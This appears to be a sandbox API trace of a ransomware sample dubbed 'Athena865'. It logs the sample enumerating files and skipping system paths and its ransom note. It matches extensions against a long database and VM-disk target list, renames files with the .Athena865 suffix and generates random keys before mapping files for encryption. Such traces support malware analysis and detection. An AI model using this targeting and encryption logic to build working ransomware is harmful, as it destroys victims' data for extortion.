lstrlenW (lpString=".dll") returned 4 [0038.873] lstrcmpiW (lpString1="InkSeg.dll", lpString2=".dll") returned 1 [0038.873] lstrlenW (lpString=".lnk") returned 4 [0038.873] lstrcmpiW (lpString1="InkSeg.dll", lpString2=".lnk") returned 1 [0038.873] lstrlenW (lpString=".ini") returned 4 [0038.873] lstrcmpiW (lpString1="InkSeg.dll", lpString2=".ini") returned 1 [0038.873] lstrlenW (lpString=".sys") returned 4 [0038.873] lstrcmpiW (lpString1="InkSeg.dll", lpString2=".sys") returned 1 [0038.873] lstrlenW (lpString="InkSeg.dll") returned 10 [0038.873] lstrlenW (lpString="bak") returned 3 [0038.873] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0038.873] lstrlenW (lpString="ba_") returned 3 [0038.873] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0038.873] lstrlenW (lpString="dbb") returned 3 [0038.873] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0038.873] lstrlenW (lpString="vmdk") returned 4 [0038.873] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0038.873] lstrlenW (lpString="rar") returned 3 [0038.873] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0038.873] lstrlenW (lpString="zip") returned 3 [0038.873] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0038.873] lstrlenW (lpString="tgz") returned 3 [0038.873] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0038.873] lstrlenW (lpString="vbox") returned 4 [0038.873] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0038.873] lstrlenW (lpString="vdi") returned 3 [0038.873] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0038.873] lstrlenW (lpString="vhd") returned 3 [0038.873] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0038.873] lstrlenW (lpString="vhdx") returned 4 [0038.873] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0038.873] lstrlenW (lpString="avhd") returned 4 [0038.873] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0038.873] lstrlenW (lpString="db") returned 2 [0038.873] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0038.873] lstrlenW (lpString="db2") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0038.874] lstrlenW (lpString="db3") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0038.874] lstrlenW (lpString="dbf") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0038.874] lstrlenW (lpString="mdf") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0038.874] lstrlenW (lpString="mdb") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0038.874] lstrlenW (lpString="sql") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0038.874] lstrlenW (lpString="sqlite") returned 6 [0038.874] lstrcmpiW (lpString1="eg.dll", lpString2="sqlite") returned -1 [0038.874] lstrlenW (lpString="sqlite3") returned 7 [0038.874] lstrcmpiW (lpString1="Seg.dll", lpString2="sqlite3") returned -1 [0038.874] lstrlenW (lpString="sqlitedb") returned 8 [0038.874] lstrcmpiW (lpString1="kSeg.dll", lpString2="sqlitedb") returned -1 [0038.874] lstrlenW (lpString="xml") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0038.874] lstrlenW (lpString="$er") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0038.874] lstrlenW (lpString="4dd") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0038.874] lstrlenW (lpString="4dl") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0038.874] lstrlenW (lpString="^^^") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0038.874] lstrlenW (lpString="abs") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0038.874] lstrlenW (lpString="abx") returned 3 [0038.874] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0038.874] lstrlenW (lpString="accdb") returned 5 [0038.874] lstrcmpiW (lpString1="g.dll", lpString2="accdb") returned 1 [0038.874] lstrlenW (lpString="accdc") returned 5 [0038.874] lstrcmpiW (lpString1="g.dll", lpString2="accdc") returned 1 [0038.874] lstrlenW (lpString="accde") returned 5 [0038.874] lstrcmpiW (lpString1="g.dll", lpString2="accde") returned 1 [0038.875] lstrlenW (lpString="accdr") returned 5 [0038.875] lstrcmpiW (lpString1="g.dll", lpString2="accdr") returned 1 [0038.875] lstrlenW (lpString="accdt") returned 5 [0038.875] lstrcmpiW (lpString1="g.dll", lpString2="accdt") returned 1 [0038.875] lstrlenW (lpString="accdw") returned 5 [0038.875] lstrcmpiW (lpString1="g.dll", lpString2="accdw") returned 1 [0038.875] lstrlenW (lpString="accft") returned 5 [0038.875] lstrcmpiW (lpString1="g.dll", lpString2="accft") returned 1 [0038.875] lstrlenW (lpString="adb") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.875] lstrlenW (lpString="adb") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.875] lstrlenW (lpString="ade") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0038.875] lstrlenW (lpString="adf") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0038.875] lstrlenW (lpString="adn") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0038.875] lstrlenW (lpString="adp") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0038.875] lstrlenW (lpString="alf") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0038.875] lstrlenW (lpString="ask") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0038.875] lstrlenW (lpString="btr") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0038.875] lstrlenW (lpString="cat") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0038.875] lstrlenW (lpString="cdb") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0038.875] lstrlenW (lpString="ckp") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0038.875] lstrlenW (lpString="cma") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0038.875] lstrlenW (lpString="cpd") returned 3 [0038.875] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0038.875] lstrlenW (lpString="dacpac") returned 6 [0038.876] lstrcmpiW (lpString1="eg.dll", lpString2="dacpac") returned 1 [0038.876] lstrlenW (lpString="dad") returned 3 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0038.876] lstrlenW (lpString="dadiagrams") returned 10 [0038.876] lstrlenW (lpString="daschema") returned 8 [0038.876] lstrcmpiW (lpString1="kSeg.dll", lpString2="daschema") returned 1 [0038.876] lstrlenW (lpString="db-journal") returned 10 [0038.876] lstrlenW (lpString="db-shm") returned 6 [0038.876] lstrcmpiW (lpString1="eg.dll", lpString2="db-shm") returned 1 [0038.876] lstrlenW (lpString="db-wal") returned 6 [0038.876] lstrcmpiW (lpString1="eg.dll", lpString2="db-wal") returned 1 [0038.876] lstrlenW (lpString="dbc") returned 3 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0038.876] lstrlenW (lpString="dbs") returned 3 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0038.876] lstrlenW (lpString="dbt") returned 3 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0038.876] lstrlenW (lpString="dbv") returned 3 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0038.876] lstrlenW (lpString="dbx") returned 3 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0038.876] lstrlenW (lpString="dcb") returned 3 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0038.876] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0038.876] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0038.876] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0038.876] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0038.877] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0038.877] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0038.877] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0038.877] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\InkSeg.dll.Athena865") returned 53 [0038.877] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\InkSeg.dll" (normalized: "c:\\program files\\windows journal\\inkseg.dll"), lpNewFileName="C:\\Program Files\\Windows Journal\\InkSeg.dll.Athena865" (normalized: "c:\\program files\\windows journal\\inkseg.dll.athena865"), dwFlags=0x1) returned 1 [0038.878] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\InkSeg.dll.Athena865" (normalized: "c:\\program files\\windows journal\\inkseg.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.878] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=929792) returned 1 [0038.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.879] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.879] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.879] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.879] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe3300, lpName=0x0) returned 0x154 [0038.881] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe3300) returned 0x2d50000 [0038.924] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.925] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.925] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.926] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0038.934] CloseHandle (hObject=0x154) returned 1 [0038.934] CloseHandle (hObject=0x17c) returned 1 [0038.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.947] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c554863, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8c554863, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2aeed770, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x154400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JNTFiltr.dll", cAlternateFileName="")) returned 1 [0038.947] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.947] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.947] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2=".") returned 1 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="..") returned 1 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="windows") returned -1 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="bootmgr") returned 1 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="temp") returned -1 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="pagefile.sys") returned -1 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="boot") returned 1 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="ids.txt") returned 1 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="ntuser.dat") returned -1 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="perflogs") returned -1 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="MSBuild") returned -1 [0038.948] lstrlenW (lpString="JNTFiltr.dll") returned 12 [0038.948] lstrcpyW (in: lpString1=0x241e88a, lpString2="JNTFiltr.dll" | out: lpString1="JNTFiltr.dll") returned="JNTFiltr.dll" [0038.948] lstrlenW (lpString="JNTFiltr.dll") returned 12 [0038.948] lstrlenW (lpString="Athena865") returned 9 [0038.948] lstrcmpiW (lpString1="Filtr.dll", lpString2="Athena865") returned 1 [0038.948] lstrlenW (lpString=".dll") returned 4 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2=".dll") returned 1 [0038.948] lstrlenW (lpString=".lnk") returned 4 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2=".lnk") returned 1 [0038.948] lstrlenW (lpString=".ini") returned 4 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2=".ini") returned 1 [0038.948] lstrlenW (lpString=".sys") returned 4 [0038.948] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2=".sys") returned 1 [0038.948] lstrlenW (lpString="JNTFiltr.dll") returned 12 [0038.948] lstrlenW (lpString="bak") returned 3 [0038.948] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0038.948] lstrlenW (lpString="ba_") returned 3 [0038.948] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0038.948] lstrlenW (lpString="dbb") returned 3 [0038.948] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0038.948] lstrlenW (lpString="vmdk") returned 4 [0038.948] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0038.948] lstrlenW (lpString="rar") returned 3 [0038.948] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0038.948] lstrlenW (lpString="zip") returned 3 [0038.948] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0038.949] lstrlenW (lpString="tgz") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0038.949] lstrlenW (lpString="vbox") returned 4 [0038.949] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0038.949] lstrlenW (lpString="vdi") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0038.949] lstrlenW (lpString="vhd") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0038.949] lstrlenW (lpString="vhdx") returned 4 [0038.949] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0038.949] lstrlenW (lpString="avhd") returned 4 [0038.949] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0038.949] lstrlenW (lpString="db") returned 2 [0038.949] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0038.949] lstrlenW (lpString="db2") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0038.949] lstrlenW (lpString="db3") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0038.949] lstrlenW (lpString="dbf") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0038.949] lstrlenW (lpString="mdf") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0038.949] lstrlenW (lpString="mdb") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0038.949] lstrlenW (lpString="sql") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0038.949] lstrlenW (lpString="sqlite") returned 6 [0038.949] lstrcmpiW (lpString1="tr.dll", lpString2="sqlite") returned 1 [0038.949] lstrlenW (lpString="sqlite3") returned 7 [0038.949] lstrcmpiW (lpString1="ltr.dll", lpString2="sqlite3") returned -1 [0038.949] lstrlenW (lpString="sqlitedb") returned 8 [0038.949] lstrcmpiW (lpString1="iltr.dll", lpString2="sqlitedb") returned -1 [0038.949] lstrlenW (lpString="xml") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0038.949] lstrlenW (lpString="$er") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0038.949] lstrlenW (lpString="4dd") returned 3 [0038.949] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0038.950] lstrlenW (lpString="4dl") returned 3 [0038.950] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0038.950] lstrlenW (lpString="^^^") returned 3 [0038.950] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0038.950] lstrlenW (lpString="abs") returned 3 [0038.950] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0038.950] lstrlenW (lpString="abx") returned 3 [0038.950] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0038.950] lstrlenW (lpString="accdb") returned 5 [0038.950] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0038.950] lstrlenW (lpString="accdc") returned 5 [0038.950] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0038.950] lstrlenW (lpString="accde") returned 5 [0038.950] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0038.950] lstrlenW (lpString="accdr") returned 5 [0038.950] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0038.950] lstrlenW (lpString="accdt") returned 5 [0038.950] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0038.950] lstrlenW (lpString="accdw") returned 5 [0038.950] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0038.950] lstrlenW (lpString="accft") returned 5 [0038.950] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0038.950] lstrlenW (lpString="adb") returned 3 [0038.950] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.950] lstrlenW (lpString="adb") returned 3 [0038.950] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.950] lstrlenW (lpString="ade") returned 3 [0038.950] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0038.950] lstrlenW (lpString="adf") returned 3 [0038.950] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0038.950] lstrlenW (lpString="adn") returned 3 [0038.950] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0038.950] lstrlenW (lpString="adp") returned 3 [0038.950] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0038.950] lstrlenW (lpString="alf") returned 3 [0038.950] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0038.950] lstrlenW (lpString="ask") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0038.951] lstrlenW (lpString="btr") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0038.951] lstrlenW (lpString="cat") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0038.951] lstrlenW (lpString="cdb") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0038.951] lstrlenW (lpString="ckp") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0038.951] lstrlenW (lpString="cma") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0038.951] lstrlenW (lpString="cpd") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0038.951] lstrlenW (lpString="dacpac") returned 6 [0038.951] lstrcmpiW (lpString1="tr.dll", lpString2="dacpac") returned 1 [0038.951] lstrlenW (lpString="dad") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0038.951] lstrlenW (lpString="dadiagrams") returned 10 [0038.951] lstrcmpiW (lpString1="TFiltr.dll", lpString2="dadiagrams") returned 1 [0038.951] lstrlenW (lpString="daschema") returned 8 [0038.951] lstrcmpiW (lpString1="iltr.dll", lpString2="daschema") returned 1 [0038.951] lstrlenW (lpString="db-journal") returned 10 [0038.951] lstrcmpiW (lpString1="TFiltr.dll", lpString2="db-journal") returned 1 [0038.951] lstrlenW (lpString="db-shm") returned 6 [0038.951] lstrcmpiW (lpString1="tr.dll", lpString2="db-shm") returned 1 [0038.951] lstrlenW (lpString="db-wal") returned 6 [0038.951] lstrcmpiW (lpString1="tr.dll", lpString2="db-wal") returned 1 [0038.951] lstrlenW (lpString="dbc") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0038.951] lstrlenW (lpString="dbs") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0038.951] lstrlenW (lpString="dbt") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0038.951] lstrlenW (lpString="dbv") returned 3 [0038.951] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0038.951] lstrlenW (lpString="dbx") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0038.952] lstrlenW (lpString="dcb") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0038.952] lstrlenW (lpString="dct") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0038.952] lstrlenW (lpString="dcx") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0038.952] lstrlenW (lpString="ddl") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0038.952] lstrlenW (lpString="dlis") returned 4 [0038.952] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0038.952] lstrlenW (lpString="dp1") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0038.952] lstrlenW (lpString="dqy") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0038.952] lstrlenW (lpString="dsk") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0038.952] lstrlenW (lpString="dsn") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0038.952] lstrlenW (lpString="dtsx") returned 4 [0038.952] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0038.952] lstrlenW (lpString="dxl") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0038.952] lstrlenW (lpString="eco") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0038.952] lstrlenW (lpString="ecx") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0038.952] lstrlenW (lpString="edb") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0038.952] lstrlenW (lpString="epim") returned 4 [0038.952] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0038.952] lstrlenW (lpString="fcd") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0038.952] lstrlenW (lpString="fdb") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0038.952] lstrlenW (lpString="fic") returned 3 [0038.952] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0038.953] lstrlenW (lpString="flexolibrary") returned 12 [0038.953] lstrlenW (lpString="fm5") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0038.953] lstrlenW (lpString="fmp") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0038.953] lstrlenW (lpString="fmp12") returned 5 [0038.953] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1 [0038.953] lstrlenW (lpString="fmpsl") returned 5 [0038.953] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1 [0038.953] lstrlenW (lpString="fol") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0038.953] lstrlenW (lpString="fp3") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0038.953] lstrlenW (lpString="fp4") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0038.953] lstrlenW (lpString="fp5") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0038.953] lstrlenW (lpString="fp7") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0038.953] lstrlenW (lpString="fpt") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0038.953] lstrlenW (lpString="frm") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0038.953] lstrlenW (lpString="gdb") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0038.953] lstrlenW (lpString="gdb") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0038.953] lstrlenW (lpString="grdb") returned 4 [0038.953] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0038.953] lstrlenW (lpString="gwi") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0038.953] lstrlenW (lpString="hdb") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0038.953] lstrlenW (lpString="his") returned 3 [0038.953] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0038.953] lstrlenW (lpString="ib") returned 2 [0038.953] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0038.954] lstrlenW (lpString="idb") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0038.954] lstrlenW (lpString="ihx") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0038.954] lstrlenW (lpString="itdb") returned 4 [0038.954] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0038.954] lstrlenW (lpString="itw") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0038.954] lstrlenW (lpString="jet") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0038.954] lstrlenW (lpString="jtx") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0038.954] lstrlenW (lpString="kdb") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0038.954] 